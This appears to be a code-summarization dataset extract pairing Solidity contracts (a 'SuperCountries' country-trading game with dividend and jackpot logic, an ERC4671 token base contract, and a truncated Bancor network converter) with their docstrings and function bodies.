if (excess > 0) {
_newOwner.transfer(excess);
}
}
///////////////////////////
/// BUY A COUNTRY ///
///////////////////////////
/*
Buy a country directly from the contract for the calculated price
which ensures that the owner gets a profit. All countries that
have been listed can be bought by this method. User funds are sent
directly to the previous owner and are never stored in the contract.
*/
function buy (uint256 _itemId, address referrerAddress) payable public onlyRealAddress {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != owner);
require(block.timestamp < timestampLimit || block.timestamp > timestampLimit.add(3600));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
////////////////////////
/// Set the referrer ///
////////////////////////
setReferrer(newOwner, referrerAddress);
///////////////////////////////////
/// Update scores and timestamp ///
///////////////////////////////////
/// Dividends are dispatched among players accordingly to their "playerScore".
/// The playerScore equals the sum of all their countries (owned now, paid price) + sum of all their previously owned countries
/// After each sell / buy, players that owned at least one country can claim dividends
/// DIVS of a player = playerScore * DIVS to dispatch / worldScore
/// If a player is a seller or a buyer, his playerScore will change, we need to adjust his parameters
/// If a player is not a buyer / seller, his playerScore doesn't change, no need to adjust
updateScoreAndBalance(price, _itemId, oldOwner, newOwner);
/// worldScore change after each flip, we need to adjust
/// To calculate the worldScore after a flip: add buy price x 2, subtract previous price
updateWorldScore(_itemId, price);
/// If 7 days with no buys, the richest player and the last buyer win the jackpot (1/2 of contract balance ; 1/4 each)
/// Waiting time increases after each pot distribution
updateTimestampLimit();
///////////////////////
/// Who earns what? ///
///////////////////////
/// When a country flips, who earns how much?
/// Devs : 2% to 5% of country price
/// Seller's reward : current paidPrice - previousPrice - devsCut = net profit. The seller gets the previous Price + ca.65% of net Profit
/// The referrers of the seller : % of netProfit from their referrals R+1 & R+2. If no referrers, all the referrers' cut goes to dividends to all players.
/// All players, with or without a country now : dividends (% of netProfit)
/// All previous owners of the flipped country : a special part of dividends called Bonus. If no previous buyer, all the bonus is also added up to dividends to all players.
/// Calculate the devs cut
uint256 devCut_ = calculateDevCut(price);
/// Calculate the netProfit
uint256 netProfit = price.sub(devCut_).sub(previousPriceOfItem[_itemId]);
/// Calculate dividends cut from netProfit and what referrers left
uint256 dividendsCut_ = netProfit.mul(30).div(100);
/// Calculate the seller's reward
/// Price sub the cuts : dev cut and 35% including referrer cut (5% max), 30% (25% if referrers) dividends (including 80% divs / 20% bonus max) and 5% (jackpot)
uint256 oldOwnerReward = price.sub(devCut_).sub(netProfit.mul(35).div(100));
/// Calculate the referrers cut and store the referrer's cut in the referrer's pending balance ///
/// Update dividend's cut : 30% max ; 27,5% if 1 referrer ; 25% if 2 referrers
uint256 refCut = payReferrer(oldOwner, netProfit);
dividendsCut_ -= refCut;
////////////////////////////////////////////////////////////
/// Dispatch dividends to all players ///
/// Dispatch bonuses to previous owners of this country ///
////////////////////////////////////////////////////////////
/// Dividends = 80% to all country owners (previous and current owners, no matter the country) + 20% bonus to previous owners of this country
/// If no previous owners, 100% to all countries owners
/// Are there previous owners for the current flipped country?
if (price > countryStructs[_itemId].startingPrice && dividendsCut_ > 1000000 && worldScore > 0) {
/// Yes, there are previous owners, they will get 20% of dividends of this country
bonusPreviousOwner(_itemId, price, dividendsCut_.mul(20).div(100));
/// So dividends for all the country owners are 100% - 20% = 80%
dividendsCut_ = dividendsCut_.mul(80).div(100);
}
/// If else... nothing special to do, there are no previous owners, dividends remain 100%
/// Dispatch dividends to all country owners, no matter the country
/// Note : to avoid floating numbers, we divide a constant called HUGE (1e13) by worldScore, of course we will multiply by HUGE when retrieving
if (worldScore > 0) { /// worldScore must be greater than 0, the opposite is impossible and dividends are not calculated
dividendsScore += HUGE.mul(dividendsCut_).div(worldScore);
}
////////////////////////////////////////////////
/// Update the price history of the newOwner ///
////////////////////////////////////////////////
/// The newOwner is now known as an OWNER for this country
/// We'll store his cumulated buy price for this country in a mapping
/// Bonus : each time a country is flipped, players that previously owned this country get bonuses proportionally to the sum of their buys
updateEntity(_itemId, newOwner, price);
itemHistory[_itemId][newOwner] += price;
////////////////////////
/// Update the price ///
////////////////////////
/// The price of purchase becomes the "previousPrice", and the "price" is the next price
previousPriceOfItem[_itemId] = price;
priceOfItem[_itemId] = nextPriceOf(_itemId);
/////////////////////////////////////////
/// Transfer the reward to the seller ///
/////////////////////////////////////////
/// The seller's reward is transfered automatically to his wallet
/// The dev cut is transfered automatically out the contract
/// The other rewards (bonus, dividends, referrer's cut) will be stored in a pending balance
oldOwner.transfer(oldOwnerReward);
owner.transfer(devCut_);
/// Transfer the token from oldOwner to newOwner
_transfer(oldOwner, newOwner, _itemId);
/// Emit the events
emit Bought(_itemId, newOwner, price);
emit Sold(_itemId, oldOwner, price);
///////////////////////////////////////////
/// Transfer the excess to the newOwner ///
///////////////////////////////////////////
/// If the newOwner sent a higher price than the asked price, the excess is refunded
excessRefund(newOwner, price);
/// Send informations
emit DivsDispatch(dividendsCut_, dividendsScore, _itemId, price, worldScore);
/// END OF THE BUY FUNCTION ///
}
//////////////////////////////
/// Practical informations ///
//////////////////////////////
function itemHistoryOfPlayer(uint256 _itemId, address _owner) public view returns (uint256 _valueAddressOne) {
return itemHistory[_itemId][_owner];
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "SuperCountries";
}
function symbol() public pure returns (string _symbol) {
return "SUP";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
emit Approval(msg.sender, 0, _itemId);
}
}
else {
approvedOfItem[_itemId] = _to;
emit Approval(msg.sender, _to, _itemId);
}
}
/* Transferring a country to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
emit Transfer(_from, _to, _itemId);
}
///////////////////////////
/// READ ONLY FUNCTIONS ///
///////////////////////////
function gameInfo() public view returns (address richestPlayer_, address lastBuyer_, uint256 thisBalance_, uint256 lastWithdrawPotVersion_, uint256 worldScore_, uint256 potVersion_, uint256 timestampLimit_) {
return (richestBuyer, lastBuyer, address(this).balance, lastWithdrawPotVersion, worldScore, potVersion, timestampLimit);
}
function priceOf(uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf(uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf(uint256 _itemId) external view returns (address _owner, uint256 _price, uint256 previous_, uint256 _nextPrice) {
return (ownerOf(_itemId), priceOf(_itemId), previousPriceOfItem[_itemId], nextPriceOf(_itemId));
}
/// is Contract ///
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
////////////////////////
/// USEFUL FUNCTIONS ///
////////////////////////
/**
* @dev Fallback function to accept all ether sent directly to the contract
* Nothing is lost, it will raise the jackpot !
*/
function() payable public
{ }
}
|
* @dev After 7 days without any buy, the richest user and the latest player will share the contract balance !/ fire events
|
function confirmDividendsFromPot() public {
require(richestBuyer != address(0) && lastBuyer != address(0)) ;
require(block.timestamp > timestampLimit);
uint256 confirmation_TimeStamp = timestampLimit;
potVersion ++;
uint256 balance = address(this).balance;
uint256 balanceQuarter = balance.div(4);
balanceToWithdraw[potVersion][richestBuyer] = balanceQuarter;
emit ConfirmPotWithdraw(
balance,
richestBuyer,
balanceToWithdraw[potVersion][richestBuyer],
lastBuyer,
balanceToWithdraw[potVersion][lastBuyer],
potVersion
);
emit PotWithdrawConstant(
block.timestamp,
confirmation_TimeStamp,
dividendsScore,
potVersion,
lastWithdrawPotVersion
);
}
| 2,504,908
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "./IERC4671.sol";
import "./IERC4671Metadata.sol";
import "./IERC4671Enumerable.sol";
abstract contract ERC4671 is IERC4671, IERC4671Metadata, IERC4671Enumerable, ERC165 {
// Token data
struct Token {
address issuer;
address owner;
bool valid;
}
// Mapping from tokenId to token
mapping(uint256 => Token) private _tokens;
// Mapping from owner to token ids
mapping(address => uint256[]) private _indexedTokenIds;
// Mapping from token id to index
mapping(address => mapping(uint256 => uint256)) private _tokenIdIndex;
// Mapping from owner to number of valid tokens
mapping(address => uint256) private _numberOfValidTokens;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Total number of tokens emitted
uint256 private _emittedCount;
// Total number of token holders
uint256 private _holdersCount;
// Contract creator
address private _creator;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_creator = msg.sender;
}
/// @notice Count all tokens assigned to an owner
/// @param owner Address for whom to query the balance
/// @return Number of tokens owned by `owner`
function balanceOf(address owner) public view virtual override returns (uint256) {
return _indexedTokenIds[owner].length;
}
/// @notice Get owner of a token
/// @param tokenId Identifier of the token
/// @return Address of the owner of `tokenId`
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _getTokenOrRevert(tokenId).owner;
}
/// @notice Check if a token hasn't been revoked
/// @param tokenId Identifier of the token
/// @return True if the token is valid, false otherwise
function isValid(uint256 tokenId) public view virtual override returns (bool) {
return _getTokenOrRevert(tokenId).valid;
}
/// @notice Check if an address owns a valid token in the contract
/// @param owner Address for whom to check the ownership
/// @return True if `owner` has a valid token, false otherwise
function hasValid(address owner) public view virtual override returns (bool) {
return _numberOfValidTokens[owner] > 0;
}
/// @return Descriptive name of the tokens in this contract
function name() public view virtual override returns (string memory) {
return _name;
}
/// @return An abbreviated name of the tokens in this contract
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/// @notice URI to query to get the token's metadata
/// @param tokenId Identifier of the token
/// @return URI for the token
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
_getTokenOrRevert(tokenId);
bytes memory baseURI = bytes(_baseURI());
if (baseURI.length > 0) {
return string(abi.encodePacked(
baseURI,
Strings.toHexString(tokenId, 32)
));
}
return "";
}
/// @return emittedCount Number of tokens emitted
function emittedCount() public view override returns (uint256) {
return _emittedCount;
}
/// @return holdersCount Number of token holders
function holdersCount() public view override returns (uint256) {
return _holdersCount;
}
/// @notice Get the tokenId of a token using its position in the owner's list
/// @param owner Address for whom to get the token
/// @param index Index of the token
/// @return tokenId of the token
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
uint256[] storage ids = _indexedTokenIds[owner];
require(index < ids.length, "Token does not exist");
return ids[index];
}
/// @notice Get a tokenId by it's index, where 0 <= index < total()
/// @param index Index of the token
/// @return tokenId of the token
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
return index;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC4671).interfaceId ||
interfaceId == type(IERC4671Metadata).interfaceId ||
interfaceId == type(IERC4671Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/// @notice Prefix for all calls to tokenURI
/// @return Common base URI for all token
function _baseURI() internal pure virtual returns (string memory) {
return "";
}
/// @notice Mark the token as revoked
/// @param tokenId Identifier of the token
function _revoke(uint256 tokenId) internal virtual {
Token storage token = _getTokenOrRevert(tokenId);
require(token.valid, "Token is already invalid");
token.valid = false;
assert(_numberOfValidTokens[token.owner] > 0);
_numberOfValidTokens[token.owner] -= 1;
emit Revoked(token.owner, tokenId);
}
/// @notice Mint a new token
/// @param owner Address for whom to assign the token
/// @return tokenId Identifier of the minted token
function _mint(address owner) internal virtual returns (uint256 tokenId) {
tokenId = _emittedCount;
_mintUnsafe(owner, tokenId, true);
emit Minted(owner, tokenId);
_emittedCount += 1;
}
/// @notice Mint a given tokenId
/// @param owner Address for whom to assign the token
/// @param tokenId Token identifier to assign to the owner
/// @param valid Boolean to assert of the validity of the token
function _mintUnsafe(address owner, uint256 tokenId, bool valid) internal {
require(_tokens[tokenId].owner == address(0), "Cannot mint an assigned token");
if (_indexedTokenIds[owner].length == 0) {
_holdersCount += 1;
}
_tokens[tokenId] = Token(msg.sender, owner, valid);
_tokenIdIndex[owner][tokenId] = _indexedTokenIds[owner].length;
_indexedTokenIds[owner].push(tokenId);
if (valid) {
_numberOfValidTokens[owner] += 1;
}
}
/// @return True if the caller is the contract's creator, false otherwise
function _isCreator() internal view virtual returns (bool) {
return msg.sender == _creator;
}
/// @notice Retrieve a token or revert if it does not exist
/// @param tokenId Identifier of the token
/// @return The Token struct
function _getTokenOrRevert(uint256 tokenId) internal view virtual returns (Token storage) {
Token storage token = _tokens[tokenId];
require(token.owner != address(0), "Token does not exist");
return token;
}
/// @notice Remove a token
/// @param tokenId Token identifier to remove
function _removeToken(uint256 tokenId) internal virtual {
Token storage token = _getTokenOrRevert(tokenId);
_removeFromUnorderedArray(_indexedTokenIds[token.owner], _tokenIdIndex[token.owner][tokenId]);
if (_indexedTokenIds[token.owner].length == 0) {
assert(_holdersCount > 0);
_holdersCount -= 1;
}
if (token.valid) {
assert(_numberOfValidTokens[token.owner] > 0);
_numberOfValidTokens[token.owner] -= 1;
}
delete _tokens[tokenId];
}
/// @notice Removes an entry in an array by its index
/// @param array Array for which to remove the entry
/// @param index Index of the entry to remove
function _removeFromUnorderedArray(uint256[] storage array, uint256 index) internal {
require(index < array.length, "Trying to delete out of bound index");
if (index != array.length - 1) {
array[index] = array[array.length - 1];
}
array.pop();
}
}
|
Mapping from tokenId to token
|
mapping(uint256 => Token) private _tokens;
| 5,347,782
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pragma solidity ^0.4.21;
/*
Owned contract interface
*/
contract IOwned {
// this function isn't abstract since the compiler emits automatically generated getter functions as external
function owner() public view returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
/*
ERC20 Standard Token interface
*/
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public view returns (string) {}
function symbol() public view returns (string) {}
function decimals() public view returns (uint8) {}
function totalSupply() public view returns (uint256) {}
function balanceOf(address _owner) public view returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
/*
Contract Registry interface
*/
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
/*
Contract Features interface
*/
contract IContractFeatures {
function isSupported(address _contract, uint256 _features) public view returns (bool);
function enableFeatures(uint256 _features, bool _enable) public;
}
/*
Whitelist interface
*/
contract IWhitelist {
function isWhitelisted(address _address) public view returns (bool);
}
/*
Token Holder interface
*/
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
/*
Ether Token interface
*/
contract IEtherToken is ITokenHolder, IERC20Token {
function deposit() public payable;
function withdraw(uint256 _amount) public;
function withdrawTo(address _to, uint256 _amount) public;
}
/*
Smart Token interface
*/
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
/*
Bancor Gas Price Limit interface
*/
contract IBancorGasPriceLimit {
function gasPrice() public view returns (uint256) {}
function validateGasPrice(uint256) public view;
}
/*
Bancor Converter interface
*/
contract IBancorConverter {
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function conversionWhitelist() public view returns (IWhitelist) {}
// deprecated, backward compatibility
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
}
/*
Bancor Network interface
*/
contract IBancorNetwork {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized2(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
// deprecated, backward compatibility
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
}
/*
Utilities & Common Modifiers
*/
contract Utils {
/**
constructor
*/
function Utils() public {
}
// verifies that an amount is greater than zero
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
// Overflow protected math functions
/**
@dev returns the sum of _x and _y, asserts if the calculation overflows
@param _x value 1
@param _y value 2
@return sum
*/
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
/**
@dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number
@param _x minuend
@param _y subtrahend
@return difference
*/
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
/**
@dev returns the product of multiplying _x by _y, asserts if the calculation overflows
@param _x factor 1
@param _y factor 2
@return product
*/
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
/*
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
function Owned() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
Id definitions for bancor contracts
Can be used in conjunction with the contract registry to get contract addresses
*/
contract ContractIds {
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
bytes32 public constant BANCOR_FORMULA = "BancorFormula";
bytes32 public constant CONTRACT_FEATURES = "ContractFeatures";
}
/**
Id definitions for bancor contract features
Can be used to query the ContractFeatures contract to check whether a certain feature is supported by a contract
*/
contract FeatureIds {
// converter features
uint256 public constant CONVERTER_CONVERSION_WHITELIST = 1 << 0;
}
/*
We consider every contract to be a 'token holder' since it's currently not possible
for a contract to deny receiving tokens.
The TokenHolder's contract sole purpose is to provide a safety mechanism that allows
the owner to send tokens that were sent to the contract by mistake back to their sender.
*/
contract TokenHolder is ITokenHolder, Owned, Utils {
/**
@dev constructor
*/
function TokenHolder() public {
}
/**
@dev withdraws tokens held by the contract and sends them to an account
can only be called by the owner
@param _token ERC20 token contract address
@param _to account to receive the new amount
@param _amount amount to withdraw
*/
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
/*
The BancorNetwork contract is the main entry point for bancor token conversions.
It also allows converting between any token in the bancor network to any other token
in a single transaction by providing a conversion path.
A note on conversion path -
Conversion path is a data structure that's used when converting a token to another token in the bancor network
when the conversion cannot necessarily be done by single converter and might require multiple 'hops'.
The path defines which converters should be used and what kind of conversion should be done in each step.
The path format doesn't include complex structure and instead, it is represented by a single array
in which each 'hop' is represented by a 2-tuple - smart token & to token.
In addition, the first element is always the source token.
The smart token is only used as a pointer to a converter (since converter addresses are more likely to change).
Format:
[source token, smart token, to token, smart token, to token...]
*/
contract BancorNetwork is IBancorNetwork, TokenHolder, ContractIds, FeatureIds {
address public signerAddress = 0x0; // verified address that allows conversions with higher gas price
IContractRegistry public registry; // contract registry contract address
IBancorGasPriceLimit public gasPriceLimit; // bancor universal gas price limit contract
mapping (address => bool) public etherTokens; // list of all supported ether tokens
mapping (bytes32 => bool) public conversionHashes; // list of conversion hashes, to prevent re-use of the same hash
/**
@dev constructor
@param _registry address of a contract registry contract
*/
function BancorNetwork(IContractRegistry _registry) public validAddress(_registry) {
registry = _registry;
}
// validates a conversion path - verifies that the number of elements is odd and that maximum number of 'hops' is 10
modifier validConversionPath(IERC20Token[] _path) {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
/*
@dev allows the owner to update the contract registry contract address
@param _registry address of a contract registry contract
*/
function setContractRegistry(IContractRegistry _registry)
public
ownerOnly
validAddress(_registry)
notThis(_registry)
{
registry = _registry;
}
/*
@dev allows the owner to update the gas price limit contract address
@param _gasPriceLimit address of a bancor gas price limit contract
*/
function setGasPriceLimit(IBancorGasPriceLimit _gasPriceLimit)
public
ownerOnly
validAddress(_gasPriceLimit)
notThis(_gasPriceLimit)
{
gasPriceLimit = _gasPriceLimit;
}
/*
@dev allows the owner to update the signer address
@param _signerAddress new signer address
*/
function setSignerAddress(address _signerAddress)
public
ownerOnly
validAddress(_signerAddress)
notThis(_signerAddress)
{
signerAddress = _signerAddress;
}
/**
@dev allows the owner to register/unregister ether tokens
@param _token ether token contract address
@param _register true to register, false to unregister
*/
function registerEtherToken(IEtherToken _token, bool _register)
public
ownerOnly
validAddress(_token)
notThis(_token)
{
etherTokens[_token] = _register;
}
/**
@dev verifies that the signer address is trusted by recovering
the address associated with the public key from elliptic
curve signature, returns zero on error.
notice that the signature is valid only for one conversion
and expires after the give block.
@return true if the signer is verified
*/
function verifyTrustedSender(IERC20Token[] _path, uint256 _amount, uint256 _block, address _addr, uint8 _v, bytes32 _r, bytes32 _s) private returns(bool) {
bytes32 hash = keccak256(_block, tx.gasprice, _addr, msg.sender, _amount, _path);
// checking that it is the first conversion with the given signature
// and that the current block number doesn't exceeded the maximum block
// number that's allowed with the current signature
require(!conversionHashes[hash] && block.number <= _block);
// recovering the signing address and comparing it to the trusted signer
// address that was set in the contract
bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", hash);
bool verified = ecrecover(prefixedHash, _v, _r, _s) == signerAddress;
// if the signer is the trusted signer - mark the hash so that it can't
// be used multiple times
if (verified)
conversionHashes[hash] = true;
return verified;
}
/**
@dev converts the token to any other token in the bancor network by following
a predefined conversion path and transfers the result tokens to a target account
note that the converter should already own the source tokens
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversion result
@return tokens issued in return
*/
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256) {
return convertForPrioritized2(_path, _amount, _minReturn, _for, 0x0, 0x0, 0x0, 0x0);
}
/**
@dev converts the token to any other token in the bancor network
by following a predefined conversion path and transfers the result
tokens to a target account.
this version of the function also allows the verified signer
to bypass the universal gas price limit.
note that the converter should already own the source tokens
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversion result
@return tokens issued in return
*/
function convertForPrioritized2(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s)
public
payable
validConversionPath(_path)
returns (uint256)
{
// if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token
IERC20Token fromToken = _path[0];
require(msg.value == 0 || (_amount == msg.value && etherTokens[fromToken]));
// if ETH was sent with the call, the source is an ether token - deposit the ETH in it
// otherwise, we assume we already have the tokens
if (msg.value > 0)
IEtherToken(fromToken).deposit.value(msg.value)();
return convertForInternal(_path, _amount, _minReturn, _for, _block, _v, _r, _s);
}
/**
@dev converts token to any other token in the bancor network
by following the predefined conversion paths and transfers the result
tokens to a targeted account.
this version of the function also allows multiple conversions
in a single atomic transaction.
note that the converter should already own the source tokens
@param _paths merged conversion paths, i.e. [path1, path2, ...]. see conversion path format above
@param _pathStartIndex each item in the array is the start index of the nth path in _paths
@param _amounts amount to convert from (in the initial source token) for each path
@param _minReturns minimum return for each path. if the conversion results in an amount
smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversions result
@return amount of conversion result for each path
*/
function convertForMultiple(IERC20Token[] _paths, uint256[] _pathStartIndex, uint256[] _amounts, uint256[] _minReturns, address _for)
public
payable
returns (uint256[])
{
// if ETH is provided, ensure that the total amount was converted into other tokens
uint256 convertedValue = 0;
uint256 pathEndIndex;
// iterate over the conversion paths
for (uint256 i = 0; i < _pathStartIndex.length; i += 1) {
pathEndIndex = i == (_pathStartIndex.length - 1) ? _paths.length : _pathStartIndex[i + 1];
// copy a single path from _paths into an array
IERC20Token[] memory path = new IERC20Token[](pathEndIndex - _pathStartIndex[i]);
for (uint256 j = _pathStartIndex[i]; j < pathEndIndex; j += 1) {
path[j - _pathStartIndex[i]] = _paths[j];
}
// if ETH is provided, ensure that the amount is lower than the path amount and
// verify that the source token is an ether token. otherwise ensure that
// the source is not an ether token
IERC20Token fromToken = path[0];
require(msg.value == 0 || (_amounts[i] <= msg.value && etherTokens[fromToken]) || !etherTokens[fromToken]);
// if ETH was sent with the call, the source is an ether token - deposit the ETH path amount in it.
// otherwise, we assume we already have the tokens
if (msg.value > 0 && etherTokens[fromToken]) {
IEtherToken(fromToken).deposit.value(_amounts[i])();
convertedValue += _amounts[i];
}
_amounts[i] = convertForInternal(path, _amounts[i], _minReturns[i], _for, 0x0, 0x0, 0x0, 0x0);
}
// if ETH was provided, ensure that the full amount was converted
require(convertedValue == msg.value);
return _amounts;
}
/**
@dev converts token to any other token in the bancor network
by following a predefined conversion paths and transfers the result
tokens to a target account.
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversion result
@param _block if the current block exceeded the given parameter - it is cancelled
@param _v (signature[128:130]) associated with the signer address and helps to validate if the signature is legit
@param _r (signature[0:64]) associated with the signer address and helps to validate if the signature is legit
@param _s (signature[64:128]) associated with the signer address and helps to validate if the signature is legit
@return tokens issued in return
*/
function convertForInternal(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s
)
private
validConversionPath(_path)
returns (uint256)
{
if (_v == 0x0 && _r == 0x0 && _s == 0x0)
gasPriceLimit.validateGasPrice(tx.gasprice);
else
require(verifyTrustedSender(_path, _amount, _block, _for, _v, _r, _s));
// if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token
IERC20Token fromToken = _path[0];
IERC20Token toToken;
(toToken, _amount) = convertByPath(_path, _amount, _minReturn, fromToken, _for);
// finished the conversion, transfer the funds to the target account
// if the target token is an ether token, withdraw the tokens and send them as ETH
// otherwise, transfer the tokens as is
if (etherTokens[toToken])
IEtherToken(toToken).withdrawTo(_for, _amount);
else
assert(toToken.transfer(_for, _amount));
return _amount;
}
/**
@dev executes the actual conversion by following the conversion path
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _fromToken ERC20 token to convert from (the first element in the path)
@param _for account that will receive the conversion result
@return ERC20 token to convert to (the last element in the path) & tokens issued in return
*/
function convertByPath(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
IERC20Token _fromToken,
address _for
) private returns (IERC20Token, uint256) {
ISmartToken smartToken;
IERC20Token toToken;
IBancorConverter converter;
// get the contract features address from the registry
IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES));
// iterate over the conversion path
uint256 pathLength = _path.length;
for (uint256 i = 1; i < pathLength; i += 2) {
smartToken = ISmartToken(_path[i]);
toToken = _path[i + 1];
converter = IBancorConverter(smartToken.owner());
checkWhitelist(converter, _for, features);
// if the smart token isn't the source (from token), the converter doesn't have control over it and thus we need to approve the request
if (smartToken != _fromToken)
ensureAllowance(_fromToken, converter, _amount);
